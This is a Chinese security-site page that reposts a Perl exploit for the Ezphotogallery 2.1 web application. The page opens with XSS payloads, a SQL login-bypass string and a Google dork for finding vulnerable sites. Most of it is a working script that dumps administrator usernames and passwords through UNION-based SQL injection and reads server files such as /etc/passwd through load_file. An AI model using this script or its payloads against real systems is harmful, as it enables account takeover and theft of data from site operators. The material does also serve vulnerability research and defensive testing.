• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > Easy Photo Gallery 2.1 XSS/FD/Bypass/SQL Injection Exploit

Easy Photo Gallery 2.1 XSS/FD/Bypass/SQL Injection Exploit

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了Easy Photo Gallery 2.1 XSS/FD/Bypass/SQL Injection Exploit ,其中包含epsoneasyphotoprint,easy photo print,easy photoprint ex,easy photo print下载,easy photo print软件等知识点,遇到此问题的同学们可以参考下
#!/usr/bin/perl
#----------------------------------------------------------------
#
#Script : Ezphotogallery 2.1
#
#Type : Multiple Vulnerabilities ( Xss/Login Bypass/Sql injection Exploit/File Disclosure)
#
#Method : GET
#
#Alert : High
#
#Google Dork : "100% | 50% | 25%" "Back to gallery" inurl:"show.php?imageid="
#
#----------------------------------------------------------------
#
#Discovered by : Khashayar Fereidani a.k.a. Dr.Crash
#
#My Official Website : HTTP://FEREIDANI.IR
#
#Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t] com
#
#----------------------------------------------------------------
#
#Khashayar Fereidani Official Website : HTTP://FEREIDANI.IR
#
#----------------------------------------------------------------
#
#Script Download : http://heanet.dl.sourceforge.net/sourceforge/ezphotogallery/ezphotogallery-2.1.zip
#
#----------------------------------------------------------------
#Xss Vulnerabilities :
#
#Xss 1 : gallery.php?galleryid=<script>alert(document.cookie)</script>
#Xss 2 : show.php?imageid=156&size="''<?>>""''<script>alert(document.cookie)</script>
#Xss 3 : show.php?imageid=<script>alert(document.cookie)</script>
#
#----------------------------------------------------------------
#Login Bypass :
#
#Insert in gallery.php
#
#User : admin ' or ' 1=1
#Password : Dr.Crash
#
#----------------------------------------------------------------
#Sql Injection :
#
#Injection 1 : show.php?imageid=<sql>
#----------------------------------------------------------------
#
# Tnx : God
#
# HTTP://IRCRASH.COM
#
#---------------------------------------------------------------- use LWP;
use HTTP::Request;
use Getopt::Long;
$scriptname="Ezphotogallery 2.1"; sub header
{
print "
****************************************************
* $scriptname
****************************************************
*Discovered by : Khashayar Fereidani *
*Exploited by : Khashayar Fereidani *
*My Official Website : http://fereidani.ir *
****************************************************";
} sub usage
{
print "
* Usage : perl $0 http://Example/
****************************************************
";
}
$url = ($ARGV[0]); if(!$url)
{
header();
usage();
exit;
}
if($url !~ /\//){$url = $url."/";}
if($url !~ /http:\/\//){$url = "http://".$url;}
sub xpl1()
{
#concat(0x4c6f67696e3a,user,0x3c656e64757365723e,0x0d0a50617373776f72643a,password,0x3c656e64706173733e)
$vul = "/show.php?imageid=999 union select 0,1,2,concat(0x4c6f67696e3a,name,0x3c656e64757365723e,0x0d0a50617373776f72643a,password,0x3c656e64706173733e),4,5,6,7,8,9 from users/*";
$requestpage = $url.$vul;
my $req = HTTP::Request->new("POST",$requestpage);
$ua = LWP::UserAgent->new;
$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
#$req->referer($url);
$req->referer("IRCRASH.COM");
$req->content_type('application/x-www-form-urlencoded');
$req->header("content-length" => $contlen);
$req->content($poststring); $response = $ua->request($req);
$content = $response->content;
$header = $response->headers_as_string(); @name = split(/Login:/,$content);
$name = @name[1];
@name = split(/<enduser>/,$name);
$name = @name[0]; @password = split(/Password:/,$content);
$password = @password[1];
@password = split(/<endpass>/,$password);
$password = @password[0]; if(!$name && !$password)
{
print "\n\n";
print "!Exploit failed ! :(\n\n";
exit;
} print "\n Username: ".$name."\n\n";
print " Password: " .$password."\n\n";
}
#XPL2 sub xpl2()
{
print "\n Example For File Address : /home/user/public_html/config.php\n Or /etc/passwd";
print "\n Enter File Address :";
$fil3 = <stdin>; $vul = "/show.php?imageid=999 union select 0,1,2,concat(0x4c6f67696e3a,load_file('$fil3'),0x3c656e64757365723e),4,5,6,7,8,9 from users/*";
$requestpage = $url.$vul; my $req = HTTP::Request->new("POST",$requestpage);
$ua = LWP::UserAgent->new;
$ua->agent( 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
#$req->referer($url);
$req->referer("IRCRASH.COM");
$req->content_type('application/x-www-form-urlencoded');
$req->header("content-length" => $contlen);
$req->content($poststring); $response = $ua->request($req);
$content = $response->content;
$header = $response->headers_as_string();
@name = split(/Login:/,$content);
$name = @name[1];
@name = split(/<enduser>/,$name);
$name = @name[0];
if(!$name && !$password)
{
print "\n\n";
print "!Exploit failed ! :(\n\n";
exit;
} open (FILE, ">".source.".txt");
print FILE $name;
close (FILE);
print " File Save In source.txt\n";
print ""; } #XPL2 END
#Starting;
print "
****************************************************
* $scriptname
****************************************************
*Discovered by : Khashayar Fereidani *
*Exploited by : Khashayar Fereidani *
*My Official Website : http://fereidani.ir *
****************************************************
* Mod Options : *
* Mod 1 : Find Script username and password *
* Mod 2 : File Disclosure mode *
****************************************************";
print "\n \n Enter Mod : ";
$mod=<stdin>;
if ($mod=="1" or $mod=="2") { print "\n Exploiting .............. \n"; } else { print "\n Unknown Mod ! \n Exploit Failed !"; };
if ($mod=="1") { xpl1(); };
if ($mod=="2") { xpl2(); };

</div>

您可能想查找下面的文章:

  • Easy Photo Gallery 2.1 XSS/FD/Bypass/SQL Injection Exploit

相关文章

  • IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit
  • File Store PRO 3.2 Multiple Blind SQL Injection Vulnerabilities
  • Bea Weblogic Apache Connector Code Exec / Denial of Service Exploit
  • MS Windows DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption
  • BoonEx Ray 3.5 (sIncPath) Remote File Inclusion Vulnerability
  • Microsoft Access (Snapview.ocx 10.0.5529.0) ActiveX Remote Exploit
  • WarFTP 1.65 (USER) Remote Buffer Overlow Exploit
  • AlstraSoft Article Manager Pro 1.6 Blind SQL Injection Exploit
  • Discuz! 6.0.1 (searchid) Remote SQL Injection Exploit
  • Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • AlstraSoft Article Manager Pro 1.6 Blind SQL Injection Exploit
    • Simple PHP Blog (SPHPBlog)
    • PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC
    • Adobe Acrobat 9 ActiveX Remote Denial of Service Exploit
    • phsBlog 0.2 Bypass SQL Injection Filtering Exploit
    • MyBulletinBoard (MyBB)
    • LoveCMS 1.6.2 Final Update Settings Remote Exploit
    • fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit
    • OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC
    • WarFTP 1.65 (USER) Remote Buffer Overlow Exploit

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有